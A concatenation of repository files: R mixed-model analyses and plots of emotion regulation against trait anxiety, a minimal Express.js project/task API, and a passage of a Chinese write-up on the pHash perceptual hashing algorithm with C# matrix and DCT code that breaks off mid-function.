levels(data_long$ins_cond)[levels(data_long$ins_cond)=="SUPPRESS_UNINSTRUCTED_cor"] <- "Suppress" #contrasts Reapp_Supp <- c(1,-1) contrasts(data_long$ins_cond) <- Reapp_Supp #model #ERQ_ER dist_1 <- lmer(dist_to_unins ~ ERQ_ER*ins_cond + (1|ID), data = data_long, control = lmerControl(optimizer = "optimx", calc.derivs = FALSE, optCtrl = list(method = "bobyqa", starttests = FALSE, kkt = FALSE))) summ(dist_1, center = TRUE, confint = TRUE) # #MODEL FIT: #AIC = 9079.82, BIC = 9106.78 #Pseudo-R² (fixed effects) = 0.00 #Pseudo-R² (total) = 0.54 #FIXED EFFECTS: # Est. 2.5% 97.5% t val. d.f. p #ERQ_ER 0.04 -0.12 0.21 0.51 50.68 0.61 #ins_cond -0.04 -0.06 -0.02 -3.25 6186.00 0.00 #ERQ_ER:ins_cond -0.02 -0.04 0.01 -1.19 6186.00 0.23 dist_1_effect <- effect_plot(dist_1, pred = ERQ_ER, interval = TRUE, outcome.scale = "response", x.label = "Self-reported Reappraisal \n Tendency", legend.main = "Instructed Condition", y.label = "Dissimilarity to \n Instructed", data = data_long) dist_1_effect <- dist_1_effect + ylim(0,2) + theme_apa() dist_1_effect2 <- cat_plot(dist_1, pred = ins_cond, interval = TRUE, outcome.scale = "response", x.label = "Instructed Condition", label = "Dissimilarity to Instructed Condition", y.label = "Dissimilarity to \n Instructed", data = data_long) dist_1_effect2 <- dist_1_effect2 + ylim(0,2) + theme_apa() dist_1_int <- interact_plot(dist_1, pred = ERQ_ER, modx = ins_cond, interval = TRUE, outcome.scale = "response", x.label = "ERQ-Reappraisal", legend.main = "Instructed Condition", y.label = "Dissimilarity to \n Instructed", data = data_long) dist_1_int <- dist_1_int + ylim(0,2) + theme_apa(legend.pos = "bottom") library(cowplot) plots <- plot_grid( dist_1_effect, dist_1_effect2, dist_1_int + theme(legend.position = "none"), align = 'vh', hjust = -1, nrow = 1 ) #shared legend legend <- get_legend( dist_1_int + guides(color = guide_legend(nrow = 1)) + theme(legend.position = "bottomright") ) plot_grid(plots, legend, ncol = 1, rel_heights = c(1, .1)) ggsave("dist_reapp.pdf", plot = last_plot(), device = "pdf", scale = 1, width = 7, height = 7, dpi = 300) #ERQ_ES dist_2 <- lmer(dist_to_unins ~ ERQ_ES*ins_cond + (1|ID), data = data_long, control = lmerControl(optimizer = "optimx", calc.derivs = FALSE, optCtrl = list(method = "bobyqa", starttests = FALSE, kkt = FALSE))) summ(dist_2, center = TRUE, confint = TRUE) #MODEL FIT: #AIC = 9081.40, BIC = 9108.35 #Pseudo-R² (fixed effects) = 0.00 #Pseudo-R² (total) = 0.54 #FIXED EFFECTS: #Est. 2.5% 97.5% t val. d.f. p #(Intercept) 0.93 0.78 1.07 12.45 50.96 0.00 #ERQ_ES 0.12 -0.02 0.26 1.64 50.72 0.11 #ins_cond -0.04 -0.06 -0.02 -3.25 6186.00 0.00 #ERQ_ES:ins_cond -0.00 -0.03 0.02 -0.17 6186.00 0.86 dist_2_effect <- effect_plot(dist_2, pred = ERQ_ES, interval = TRUE, outcome.scale = "response", x.label = "Self-reported Suppression \n Tendency", legend.main = "Instructed condition", y.label = "Dissimilarity to \n Instructed", data = data_long) dist_2_effect <- dist_2_effect + ylim(0,2) + theme_apa() dist_2_effect2 <- cat_plot(dist_2, pred = ins_cond, interval = TRUE, outcome.scale = "response", y.label = "Dissimilarity to Instructed Condition", x.label = "Instructed condition", label = "Dissimilarity to \n Instructed", data = data_long) dist_2_effect2 <- dist_2_effect2 + ylim(0,2) + theme_apa() dist_2_int <- interact_plot(dist_2, pred = ERQ_ES, modx = ins_cond, interval = TRUE, outcome.scale = "response", x.label = "ERQ-Suppression", legend.main = "Instructed condition", y.label = "Dissimilarity to \n Instructed", data = data_long) dist_2_int <- dist_2_int + ylim(0,2) + theme_apa() library(cowplot) plots <- plot_grid( dist_2_effect + theme(legend.position="none"), dist_2_effect2 + theme(legend.position="none"), dist_2_int + theme(legend.position="none"), align = 'vh', hjust = -1, nrow = 1 ) plot_grid(plots, legend, ncol = 1, rel_heights = c(1, .1)) ggsave("dist_supp.pdf", plot = last_plot(), device = "pdf", scale = 1, width = 7, height = 6, dpi = 300) #STAI dist_3 <- lmer(dist_to_unins ~ STAI*ins_cond + (1|ID), data = data_long, control = lmerControl(optimizer = "optimx", calc.derivs = FALSE, optCtrl = list(method = "bobyqa", starttests = FALSE, kkt = FALSE))) summ(dist_3, center = TRUE, confint = TRUE) #MODEL FIT: #AIC = 8751.67, BIC = 8778.63 #Pseudo-R² (fixed effects) = 0.04 #Pseudo-R² (total) = 0.59 #FIXED EFFECTS: # Est. 2.5% 97.5% t val. d.f. p #(Intercept) 0.93 0.78 1.08 12.19 50.97 0.00 #STAI 0.22 -0.08 0.52 1.47 50.65 0.15 #ins_cond -0.04 -0.06 -0.02 -3.34 6186.00 0.00 #STAI:ins_cond -0.45 -0.50 -0.40 -18.44 6186.00 0.00 dist_3_effect <- effect_plot(dist_3, pred = STAI, interval = TRUE, outcome.scale = "response", x.label = "STAI", legend.main = "Instructed Condition", y.label = "Dissimilarity to \n Instructed", data = data_long) dist_3_effect <- dist_3_effect + ylim(0,2) + theme_apa() dist_3_effect2 <- cat_plot(dist_3, pred = ins_cond, interval = TRUE, outcome.scale = "response", x.label = "Instructed condition", label = "Dissimilarity to \n Instructed",y.label = "Dissimilarity to \n Instructed", data = data_long) dist_3_effect2 <- dist_3_effect2 + ylim(0,2) + theme_apa() dist_3_int <- interact_plot(dist_3, pred = STAI, modx = ins_cond, interval = TRUE, outcome.scale = "response", x.label = "STAI", legend.main = "Instructed Condition", y.label = "Dissimilarity to \n Instructed", data = data_long) dist_3_int <- dist_3_int + ylim(0,2) + theme_apa() library(cowplot) plots <- plot_grid( dist_3_effect + theme(legend.position="none"), dist_3_effect2 + theme(legend.position="none"), dist_3_int + theme(legend.position="none"), align = 'vh', hjust = -1, nrow = 1 ) plot_grid(plots, legend, ncol = 1, rel_heights = c(1, .1)) ggsave("dist_stai.pdf", plot = last_plot(), device = "pdf", scale = 1, width = 7, height = 6, dpi = 300) #all models in 1 plot #shared legend legend_b <- get_legend( dist_1_int + guides(color = guide_legend(nrow = 1)) + theme(legend.position = "bottom") ) library(cowplot) plots <- plot_grid( dist_3_int + theme(legend.position="none"), dist_1_int + theme(legend.position="none"), dist_2_int + theme(legend.position="none"), align = 'vh', hjust = -1, ncol = 3 ) plot_grid(plots, legend_b, ncol = 1, rel_heights = c(1, .1)) ggsave("dist_effects.pdf", plot = last_plot(), device = "pdf", scale = 1, width = 7, height = 6, dpi = 300) #ALL dist_4 <- lmer(dist_to_unins ~ STAI:ins_cond + ERQ_ES:ins_cond + ERQ_ER:ins_cond + (1|ID), data = data_long, control = lmerControl(optimizer = "optimx", calc.derivs = FALSE, optCtrl = list(method = "bobyqa", starttests = FALSE, kkt = FALSE))) summ(dist_4, center = TRUE, confint = TRUE) #MODEL FIT: #AIC = 8723.63, BIC = 8764.06 #Pseudo-R² (fixed effects) = 0.05 #Pseudo-R² (total) = 0.59 #FIXED EFFECTS: # Est. 2.5% 97.5% t val. d.f. p #(Intercept) 0.93 0.78 1.08 12.20 50.94 0.00 #STAI:ins_cond -0.50 -0.55 -0.45 -19.60 6233.09 0.00 #ins_cond:ERQ_ES 0.04 0.01 0.06 3.07 6233.09 0.00 #ins_cond:ERQ_ER -0.09 -0.11 -0.06 -6.24 6233.09 0.00 dist_4_stai <- interact_plot(dist_4, pred = STAI, modx = ins_cond, interval = TRUE, outcome.scale = "response", x.label = "Trait Anxiety", legend.main = "Instructed Condition", y.label = "Dissimilarity", plot.points = TRUE, data = data_long) dist_4_stai <- dist_4_stai + ylim(0,2) + theme_apa() dist_4_erqes <- interact_plot(dist_4, pred = ERQ_ES, modx = ins_cond, interval = TRUE, outcome.scale = "response", x.label = "Self-Reported Suppression Tendency", legend.main = "Instructed Condition", y.label = "Dissimilarity", plot.points = TRUE, data = data_long) dist_4_erqes <- dist_4_erqes + ylim(0,2) + theme_apa() dist_4_erqer <- interact_plot(dist_4, pred = ERQ_ER, modx = ins_cond, interval = TRUE, outcome.scale = "response", x.label = "Self-Reported Reappraisal Tendency", legend.main = "Instructed Condition", y.label = "Dissimilarity", plot.points = TRUE, data = data_long) dist_4_erqer <- dist_4_erqer + ylim(0,2) + theme_apa() library(cowplot) legend <- get_legend( # create some space to the left of the legend dist_4_erqer + theme(legend.box.margin = margin(0, 0, 0, 12)) ) title <- ggdraw() + draw_label( "Do self-reported regulation tendency and trait anxiety predict \n dissimilarity between unistructed and isntructed regulation?", fontface = 'bold', x = 0, hjust = 2 ) + theme( # add margin on the left of the drawing canvas, # so title is aligned with left edge of first plot plot.margin = margin(0, 0, 0, 7) ) plots <- plot_grid( dist_4_stai + theme(legend.position="none"), dist_4_erqes + theme(legend.position="none"), dist_4_erqer + theme(legend.position="none"), align = 'vh', hjust = -1, nrow = 1 ) plot_grid(title, plots, legend, ncol = 1) ggsave("physio_descrip.pdf", plot = last_plot(), device = "pdf", scale = 1, width = 7, height = 6, dpi = 300) dist_5 <- lmer(dist_to_unins ~ STAI:ins_cond + ERQ_ES:ins_cond + ERQ_ER:ins_cond + ERQ_ER:ERQ_ES:STAI:ins_cond + (1|ID), data = data_long, control = lmerControl(optimizer = "optimx", calc.derivs = FALSE, optCtrl = list(method = "bobyqa", starttests = FALSE, kkt = FALSE))) summ(dist_5, center = TRUE, confint = TRUE) #MODEL FIT: #AIC = 8724.64, BIC = 8771.81 #Pseudo-R² (fixed effects) = 0.05 #Pseudo-R² (total) = 0.59 #FIXED EFFECTS: #(Intercept) 0.93 0.78 1.08 12.22 50.95 0.00 #STAI:ins_cond -0.48 -0.53 -0.42 -17.78 6232.02 0.00 #ins_cond:ERQ_ES 0.04 0.02 0.06 3.25 6232.05 0.00 #ins_cond:ERQ_ER -0.09 -0.12 -0.06 -6.50 6232.05 0.00 #STAI:ins_cond:ERQ_ES:ERQ_ER 0.06 0.01 0.11 2.56 6231.66 0.01 interact_plot(dist_5, pred = ERQ_ER, modx = ins_cond, mod2 = STAI,interval = TRUE, outcome.scale = "response", x.label = "Self-Reported Reappraisal Tendency", legend.main = "Instructed Condition", y.label = "Dissimilarity", plot.points = TRUE, data = data_long) #*REAPP_UNINSTRUCTED #COR reapp_cor <- lmer(REAPPRAISE_UNINSTRUCTED_cor ~ ERQ_ER * STAI + (1|ID), data = d_neg, control = lmerControl(optimizer = "optimx", calc.derivs = FALSE, optCtrl = list(method = "bobyqa", starttests = FALSE, kkt = FALSE))) summ(reapp_cor, center = TRUE, confint = TRUE) # Est. 2.5% 97.5% t val. d.f. p #(Intercept) 0.58 0.55 0.62 35.79 0.32 0.22 #ERQ_ER -0.06 -0.10 -0.03 -3.48 1.05 0.17 #STAI -0.39 -0.46 -0.32 -10.69 2.27 0.01 #ERQ_ER:STAI -0.38 -0.44 -0.32 -12.26 0.59 0.14 library("ResourceSelection") hoslem.test(d_neg$REAPPRAISE_UNINSTRUCTED_cor, fitted(reapp_cor)) #data: d_neg$REAPPRAISE_UNINSTRUCTED_cor, fitted(reapp_cor) #X-squared = 3.3395e-24, df = 8, p-value = 1 #no evidence that model is poor fit! reapp_ERQ <- effect_plot(reapp_cor, pred = ERQ_ER, interval = TRUE, outcome.scale = "response", x.label = "Self-reported Reappraisal \n (non-significant)", y.label = "Distance Between Reappraisal and Uninstructed Conditions", data = d_neg) reapp_ERQ <- reapp_ERQ + ylim(0,2) + theme_apa() reapp_STAI <- effect_plot(reapp_cor, pred = STAI, interval = TRUE, outcome.scale = "response", x.label = "Trait Anxiety", y.label = "Distance Between Reappraisal and Uninstructed Conditions", data = d_neg) reapp_STAI <- reapp_STAI + ylim(0,2) + theme_apa() plot_grid(reapp_ERQ, reapp_STAI, ncol = 2) ggsave("Reapp_dist_ME.eps", plot = last_plot(), device = "eps", scale = 1, width = 7, height = 6, dpi = 300) reapp_int <- interact_plot(reapp_cor, pred = ERQ_ER, modx = STAI, x.label = "Self-reported Reappraisal \n (non-significant interaction)", y.label = "Distance Between Reappraisal and Uninstructed Conditions", interval = TRUE, legend.main = "Trait Anxiety") reapp_int <- reapp_int + ylim(0,2) + theme_apa() ggsave("Reapp_dist_int.eps", plot = last_plot(), device = "eps", scale = 1, width = 7, height = 6, dpi = 300) #*SUPP_UNINSTRUCTED supp_cor <- lmer(SUPPRESS_UNINSTRUCTED_cor ~ ERQ_ES * STAI + (1|ID), data = d_neg, control = lmerControl(optimizer = "optimx", calc.derivs = FALSE, optCtrl = list(method = "bobyqa", starttests = FALSE, kkt = FALSE))) summ(supp_cor, center = TRUE, confint = TRUE) # Est. 2.5% 97.5% t val. d.f. p #(Intercept) 0.57 0.54 0.60 40.01 0.28 0.25 #ERQ_ES 0.07 0.05 0.10 5.27 1.40 0.07 #STAI -0.29 -0.35 -0.24 -10.14 0.43 0.24 #ERQ_ES:STAI 0.07 0.01 0.13 2.38 0.19 0.64 library("ResourceSelection") hoslem.test(d_neg$SUPPRESS_UNINSTRUCTED_cor, fitted(supp_cor)) #data: d_neg$SUPPRESS_UNINSTRUCTED_cor, fitted(supp_cor) #X-squared = 1.9101e-23, df = 8, p-value = 1 #random subject variabilty strengthens effect, loosing effect in correlation supp_ERQ <- effect_plot(supp_cor, pred = ERQ_ES, interval = TRUE, outcome.scale = "response", x.label = "Self-reported Suppression\n (marginally significant)", y.label = "Distance Between Suppression and Uninstructed Conditions", data = d_neg) supp_ERQ <- supp_ERQ + ylim(0,2) + theme_apa() supp_STAI <- effect_plot(supp_cor, pred = STAI, interval = TRUE, outcome.scale = "response", x.label = "Trait Anxiety \n (non-significant)", y.label = "Distance Between Suppression and Uninstructed Conditions", data = d_neg) supp_STAI <- supp_STAI + ylim(0,2) + theme_apa() plot_grid(supp_ERQ, supp_STAI, ncol = 2) ggsave("Supp_dist_ME.eps", plot = last_plot(), device = "eps", scale = 1, width = 7, height = 6, dpi = 300) supp_int <- interact_plot(supp_cor, pred = ERQ_ES, modx = STAI, x.label = "Self-reported Suppression \n (non-significant interaction)", y.label = "Distance Between Suppression and Uninstructed Conditions", interval = TRUE, legend.main = "Trait Anxiety") supp_int <- supp_int + ylim(0,2)+ theme_apa() ggsave("Supp_dist_int.eps", plot = last_plot(), device = "eps", scale = 1, width = 7, height = 6, dpi = 300) #*distance heatmaps#### #Get lower triangle of the correlation matrix get_lower_tri <- function(cormat){ cormat[lower.tri(cormat)]<- NA return(cormat) } #high mean_high_supp_uns <- mean(subset(d_neg, STAI_3 == "High")$SUPPRESS_UNINSTRUCTED_cor)#0.8972837 mean_high_reapp_uns <- mean(subset(d_neg, STAI_3 == "High")$REAPPRAISE_UNINSTRUCTED_cor)# 1.163805 mean_high_supp_reapp <- mean(subset(d_neg, STAI_3 == "High")$REAPPRAISE_SUPPRESS_cor)#1.186526 one_high <- c(0, 1.19, 0.90) two_high <- c(01.17, 0, 1.19) three_high <- c(0.90, 1.19, 0) matrix_high <- rbind(one_high, two_high, three_high) colnames(matrix_high) <- c('Spontaneous', 'Reappraise','Suppress') rownames(matrix_high) <- c('Spontaneous', 'Reappraise','Suppress') lower_tri_high_dist <- get_lower_tri(matrix_high) library(reshape2) melted_high <- melt(lower_tri_high_dist,na.rm = TRUE) #heatmap ggheatmap_high_dist <- ggplot(melted_high, aes(Var2, Var1, fill = value))+ geom_tile(color = "white")+ scale_fill_gradient2(low = "white", high = "white", limit = c(0,2), space = "Lab", name="Correlation Distance") + xlab("") + ylab("") + theme_classic()+ theme(axis.text.x = element_text(angle = 45, vjust = 1, size = 12, hjust = 1)) + theme(axis.text.y = element_text(vjust = 1, size = 12, hjust = 1)) + coord_fixed() + ggtitle("+1 SD trait anxiety") + geom_text(aes(Var2, Var1, label = value), color = "black", size = 5) + scale_x_discrete(labels=c("supp_spont" = "Suppress-Spontaneous", "reapp_spont" = "Reappraise-Spontaneous", "supp_reapp" = "Suppress-Reappraise")) + scale_y_discrete(labels=c("supp_spont" = "Suppress-Spontaneous", "reapp_spont" = "Reappraise-Spontaneous", "supp_reapp" = "Suppress-Reappraise")) #middle mean_middle_supp_uns <- mean(subset(d_neg, STAI_3 == "Middle")$SUPPRESS_UNINSTRUCTED_cor) #0.7902481 mean_middle_reapp_uns <- mean(subset(d_neg, STAI_3 == "Middle")$REAPPRAISE_UNINSTRUCTED_cor) #0.7857481 mean_middle_supp_reapp <- mean(subset(d_neg, STAI_3 == "Middle")$REAPPRAISE_SUPPRESS_cor) #0.8746705 one_middle <- c(0, 0.79, 0.79) two_middle <- c(0.79, 0, 0.87) three_middle <- c(0.79,0.87, 0) matrix_middle <- rbind(one_middle, two_middle, three_middle) colnames(matrix_middle) <- c('Spontaneous', 'Reappraise','Suppress') rownames(matrix_middle) <- c('Spontaneous', 'Reappraise','Suppress') lower_tri_middle_dist <- get_lower_tri(matrix_middle) library(reshape2) melted_middle <- melt(lower_tri_middle_dist,na.rm = TRUE) #heatmap ggheatmap_middle_dist <- ggplot(melted_middle, aes(Var2, Var1, fill = value))+ geom_tile(color = "white")+ scale_fill_gradient2(low = "white", high = "white", limit = c(0,2), space = "Lab", name="Correlation Distance") + xlab("") + ylab("") + theme_classic()+ theme(axis.text.x = element_text(angle = 45, vjust = 1, size = 12, hjust = 1)) + theme(axis.text.y = element_text(vjust = 1, size = 12, hjust = 1)) + coord_fixed() + ggtitle("Mean trait anxiety") + geom_text(aes(Var2, Var1, label = value), color = "black", size = 5) + scale_x_discrete(labels=c("supp_spont" = "Suppress-Spontaneous", "reapp_spont" = "Reappraise-Spontaneous", "supp_reapp" = "Suppress-Reappraise")) + scale_y_discrete(labels=c("supp_spont" = "Suppress-Spontaneous", "reapp_spont" = "Reappraise-Spontaneous", "supp_reapp" = "Suppress-Reappraise")) #low mean_low_supp_uns <- mean(subset(d_neg, STAI_3 == "Low")$SUPPRESS_UNINSTRUCTED_cor)#1.002448 mean_low_reapp_uns <- mean(subset(d_neg, STAI_3 == "Low")$REAPPRAISE_UNINSTRUCTED_cor)# 0.9934857 mean_low_supp_reapp <- mean(subset(d_neg, STAI_3 == "Low")$REAPPRAISE_SUPPRESS_cor) #0.8524738 one_low <- c(0, 0.99, 1) two_low <- c(0.99, 0, 0.85) three_low <- c(1, 0.85, 0) matrix_low <- rbind(one_low, two_low, three_low) colnames(matrix_low) <- c('Spontaneous', 'Reappraise','Suppress') rownames(matrix_low) <- c('Spontaneous', 'Reappraise','Suppress') lower_tri_low_dist <- get_lower_tri(matrix_low) library(reshape2) melted_low <- melt(lower_tri_low_dist,na.rm = TRUE) #heatmap ggheatmap_low_dist <- ggplot(melted_low, aes(Var2, Var1, fill = value))+ geom_tile(color = "white")+ scale_fill_gradient2(low = "white", high = "white", limit = c(0,2), space = "Lab", name="Correlation Distance") + xlab("") + ylab("") + theme_classic()+ theme(axis.text.x = element_text(angle = 45, vjust = 1, size = 12, hjust = 1)) + theme(axis.text.y = element_text(vjust = 1, size = 12, hjust = 1)) + coord_fixed() + ggtitle("-1 SD Trait Anxiety") + geom_text(aes(Var2, Var1, label = value), color = "black", size = 5) + scale_x_discrete(labels=c("supp_spont" = "Suppress-Spontaneous", "reapp_spont" = "Reappraise-Spontaneous", "supp_reapp" = "Suppress-Reappraise")) + scale_y_discrete(labels=c("supp_spont" = "Suppress-Spontaneous", "reapp_spont" = "Reappraise-Spontaneous", "supp_reapp" = "Suppress-Reappraise")) require(gridExtra) library(grid) require(lattice) cross_corr <- grid_arrange_shared_legend(ggheatmap_low_dist, ggheatmap_middle_dist, ggheatmap_high_dist, ncol=3, nrow=1)
23f0a8d87a660c3182181d079a54a928d10bbfc0
[ "R" ]
1
R
daisyburr/DoYouKnowHowYouRegulate-
48987a91ddaccc8bb57ac83b696226cfbe4c30d6
f70dabc72a36792c94ad9c009f70a45ac6d682f5
refs/heads/master
<repo_name>AlecsanderFarias/simple-backEnd-projectsServer<file_sep>/index.js const express = require("express"); const server = express(); server.use(express.json()); let chamadas = 0; const projects = []; function checkProjectExists(req, res, next) { const id = req.params.id; let project; for (i = 0; i < projects.length; i++) { if (projects[i].id == id) project = projects[i]; } if (!project) { return res.status(400).json({ erro: "Project does not exists" }); } return next(); } function qtdChamadas(req, res, next) { chamadas++; console.log(`chamadas: ${chamadas}`); next(); } server.post("/projects", qtdChamadas, (req, res) => { const { id, title } = req.body; const project = { id, title, tasks: [] }; projects.push(project); return res.json(project); }); server.get("/projects", qtdChamadas, (req, res) => { return res.json(projects); }); server.put("/projects/:id", qtdChamadas, checkProjectExists, (req, res) => { const { id } = req.params; const { title } = req.body; let project = {}; for (index = 0; index < projects.length; index++) { if (projects[index].id == id) project = projects[index]; } project.title = title; return res.json(project); }); server.delete("/projects/:id", qtdChamadas, checkProjectExists, (req, res) => { const { id } = req.params; for (index = 0; index < projects.length; index++) { if (projects[index].id == id) projects.splice(index, 1); } return res.send(); }); server.post( "/projects/:id/tasks", qtdChamadas, checkProjectExists, (req, res) => { const { id } = req.params; let project = {}; const task = req.body.title; for (index = 0; index < projects.length; index++) { if (projects[index].id == id) project = projects[index]; } project.tasks.push(task); return res.send(); } ); server.listen(3000);
d5d0f2c725af10719c6c384634851885ed769fe2
[ "JavaScript" ]
1
JavaScript
AlecsanderFarias/simple-backEnd-projectsServer
fea6de2947a48de60e3a548e4b2ce6963f24bab5
bf3e2e3ca386453f8f3966c56d1c722445457a4f
refs/heads/main
<repo_name>lzx-center/database<file_sep>/课后作业/pHash.md [TOC] # 基于pHash算法的多媒体视音频管理系统 ## 摘要 pHash算法,即感知哈希算法,是一种较为简单快速的感知散列算法,可以实现相似图片的搜索的功能。当要查找相似图片时,该算法对要比较的两个图片生成一个指纹(独特但并不唯一),再通过指纹的对比来衡量两图片之间的相似度。一般而言,两张图片越接近,那么二者形成的指纹的差异就越小。本文通过C#对pHash和aHash算法进行了完全独立的实现,并与多媒体数据库系统相结合,实现了以图找图,进而搜到相关电影信息的功能。 ## 算法来源 1. http://www.hackerfactor.com/blog/index.php?/archives/432-Looks-Like-It.html 2. https://www.phash.org/ 3. <NAME>; <NAME>; <NAME> (2013). "Keyless Signatures' Infrastructure: How to Build Global Distributed Hash-Trees". In Riis, <NAME>.; <NAME>. (eds.). *Secure IT Systems. NordSec 2013*. Lecture Notes in Computer Science. **8208**. Berlin, Heidelberg: Springer. [doi](https://en.wikipedia.org/wiki/Doi_(identifier)):[10.1007/978-3-642-41488-6_21](https://doi.org/10.1007%2F978-3-642-41488-6_21). [ISBN](https://en.wikipedia.org/wiki/ISBN_(identifier)) [978-3-642-41487-9](https://en.wikipedia.org/wiki/Special:BookSources/978-3-642-41487-9). [ISSN](https://en.wikipedia.org/wiki/ISSN_(identifier)) [0302-9743](https://www.worldcat.org/issn/0302-9743). Keyless Signatures Infrastructure (KSI) is a globally distributed system for providing time-stamping and server-supported digital signature services. Global per-second hash trees are created and their root hash values published. We discuss some service quality issues that arise in practical implementation of the service and present solutions for avoiding single points of failure and guaranteeing a service with reasonable and stable delay. Guardtime AS has been operating a KSI Infrastructure for 5 years. We summarize how the KSI Infrastructure is built, and the lessons learned during the operational period of the service. 4. [^](https://en.wikipedia.org/wiki/Perceptual_hashing#cite_ref-2)<NAME>; <NAME>. ["pHash.org: Home of pHash, the open source perceptual hash library"](http://www.phash.org/). *pHash.org*. Retrieved 2018-07-05. pHash is an open source software library released under the GPLv3 license that implements several perceptual hashing algorithms, and provides a C-like API to use those functions in your own programs. pHash itself is written in C++. ## 算法简介 ​ pHash全称是感知哈希算法(Perceptual hash algorithm),该算法可以给每张图片生成一个指纹。这个指纹是独特的,但不是唯一的,例如当两张图片非常相似时,也会产生相同的指纹。通常,指纹的长度为64。比较图片时,实际上就是逐位比较的二者的指纹,指纹相差越小,那么二者就越相似。 ​ pHash算法的过程较为简单,主要有两部分。一是指纹生成算法,二是相似性比较。下面将对这两部分进行详细的介绍。 ### 指纹生成算法 ​ 指纹生成算法的流程图如下: ```mermaid graph TD A[缩小尺寸] -->B[简化色彩] B --> C[DCT变换] C --> D[计算DCT系数的平均值] D --> E[生成hash值] ``` #### 缩小尺寸 ​ 将图像缩小成大小为$32\times32$的图像。这一步的可以去除图像的细节,只保留结构、明暗等基本信息,摒弃不同尺寸带来的图像差异。需要说明的一点是,这一步不需要管原图像的长宽比例,也就是说,无论原来多大的图像,最后都要变成$32\times32$大小的图像。 #### 简化色彩 ​ 将图片转化成灰度图像。可以忽略轻微色差带来的影响,并简化后续的运算过程。 #### DCT变换 ​ 将生成的图像进行$32\times32$的DCT变换。并保留左上角$8\times8$的矩阵。即保留直流分量,和交流的低频成分。 #### 计算DCT系数的平均值 ​ 计算所有64个DCT系数进行平均,得到平均值。 #### 生成hash值 ​ 将64个DCT值与平均值进行比较。如果大于等于DCT平均值,就令这一位为1,如果小于平均值则令其为0。最后按自己规定的顺序将这64个值存下来即可。这里,当然也可以大于等于DCT的平均值设为0,扫描规则也可以自己定义,只要所有图片生成hash值的过程相同就可以了。 ### 相似性比较 ```mermaid graph TD A1[计算图片A的指纹] -->C A2[计算图片B的指纹] -->C C[令计数变量为0] C --> judge{当前指纹值是否相同} judge -->|Yes| D[计数变量+1] D --> E judge --> |No|E{是否是指纹最后一位} E --> |Yes|F[输出计数变量] E --> |No| C ``` ​ 相似性比较的过程比较简单。只需要将二者的指纹进行逐位的对比即可,如果当前位的指纹值相同,那么计数值增加1,否则的话计数值不懂。循环,直到比较完成指纹的每一位即可。最后计数变量的值越大,说明二者的相似程度越高。 ​ 当然也可以使用汉明距离(相同位上数值不同的位的个数)代替计数变量,但是这样的话汉明距离越小说明二者相差越小。但为了与数据库系统保持一致,并符合人们的一般认知(数值越大,相似度越大),本次我采用了上一种做法。 ## 算法实现 本次算法的实现大致分为四个大的部分。 * 矩阵操作部分 * 矩阵初始化 * 矩阵乘法 * 矩阵转置 * 获得DCT变换矩阵 * pHash指纹生成部分 * 图片缩放 * 获取灰度图像 * DCT变换 * 获取平均值 * 获取pHash指纹 * 相似度比较部分 * 与数据库结合部分 下面将逐一进行详细说明。 ### 矩阵操作 ​ 完整代码如下: ```C# class Martrix { public int width, height; public double[,] martrix; public Martrix( int h = 32, int w = 32 ) { width = w; height = h; martrix = new double[h, w]; for (int i = 0; i < height; ++i) for (int j = 0; j < width; ++j) martrix[i, j] = 0; } public Martrix( int[,] array ) { height = array.GetLength(0); width = array.GetLength(1); martrix = new double[height, width]; for ( int i = 0; i < height; ++ i ) for( int j = 0; j < width; ++ j ) martrix[i, j] = (double)(array[i, j]); } public Martrix multy(Martrix b) { Martrix ans = new Martrix( height, b.width ); for( int i = 0; i < height; ++ i ) for( int j = 0; j < b.width; ++ j ) for( int k = 0; k < width; ++ k ) ans.martrix[i, j] += martrix[i, k] * b.martrix[k,j]; return ans; } public void Reverse() { double[,] tmp = new double[width, height]; for( int i = 0; i < height; ++ i ) for( int j = 0; j < width; ++ j ) tmp[j, i] = martrix[i, j]; width ^= height; height ^= width; width ^= height; martrix = tmp; } public void GetDctMartrix( int N ) { width = height = N; double a; martrix = new double[N, N]; for( int i = 0; i < N; ++ i ) { for( int j = 0; j < N; ++ j ) { if (i == 0) a = Math.Sqrt(1.0 / N); else a = Math.Sqrt(2.0 / N); martrix[i, j] = a * Math.Cos((j + 0.5) * Math.PI * i / N); } } } } ``` ​ 以下是各个部分的详细说明。 #### 矩阵初始化 ```c# public Martrix( int h = 32, int w = 32 ) //新建一个高和宽给定的矩阵 { width = w; height = h; //设置成员变量 martrix = new double[h, w]; for (int i = 0; i < height; ++i) for (int j = 0; j < width; ++j) martrix[i, j] = 0; } public Martrix( int[,] array ) //根据二维数组生成矩阵 { height = array.GetLength(0); width = array.GetLength(1); //获得数组的宽和高 martrix = new double[height, width]; //进行赋值 for ( int i = 0; i < height; ++ i ) for( int j = 0; j < width; ++ j ) martrix[i, j] = (double)(array[i, j]); } ``` ​ 创建了两种初始化方式,一种是输入矩阵的长和宽进行初始化。默认矩阵内的元素均为0;另一种是通过一个int型的二维数组进行初始化。矩阵的元素与二维数组内的元素一一对应。 #### 矩阵乘法 ```c# public Martrix multy(Martrix b) { Martrix ans = new Martrix( height, b.width ); //三重循环,行和列对应元素相乘相加 for( int i = 0; i < height; ++ i ) for( int j = 0; j < b.width; ++ j ) for( int k = 0; k < width; ++ k ) ans.martrix[i, j] += martrix[i, k] * b.martrix[k,j]; return ans; } ``` ​ 该部分其实就是线性代数中的矩阵相乘。前边矩阵对应行和后边矩阵对应列的对应位置元素相乘相加,所得结果置于新矩阵的对应位置处。最后返回结果矩阵。 #### 矩阵转置 ```c# public void Reverse() { double[,] tmp = new double[width, height]; //行列互换,且元素也对应交换 for( int i = 0; i < height; ++ i ) for( int j = 0; j < width; ++ j ) tmp[j, i] = martrix[i, j]; width ^= height; height ^= width; width ^= height; martrix = tmp; } ``` ​ 建立起一个临时数组,用来存放转置后的元素。最后交换原矩阵里的成员长和宽,然后令矩阵等于临时数组。 #### 获得DCT系数 ```C# public void GetDctMartrix( int N ) //按照公式生成DCT矩阵 { width = height = N; double a; martrix = new double[N, N]; for( int i = 0; i < N; ++ i ) { for( int j = 0; j < N; ++ j ) { if (i == 0) a = Math.Sqrt(1.0 / N); else a = Math.Sqrt(2.0 / N); martrix[i, j] = a * Math.Cos((j + 0.5) * Math.PI * i / N); } } ``` ​ 首先创建一个$N\times N$的矩阵,然后按照如下公式生成DCT变换矩阵。 ​ $$A(i, j)=c(i) \cos \left[\frac{(j+0.5) \pi}{N} i\right]$$ ​ 其中,$c(u)=\left\{\begin{array}{l}\sqrt{\frac{1}{N}}, u=0 \\ \sqrt{\frac{2}{N}}, u \neq 0\end{array}\right.$ ### pHash指纹生成 ​ 完整代码如下: ```c# private int filter( double x 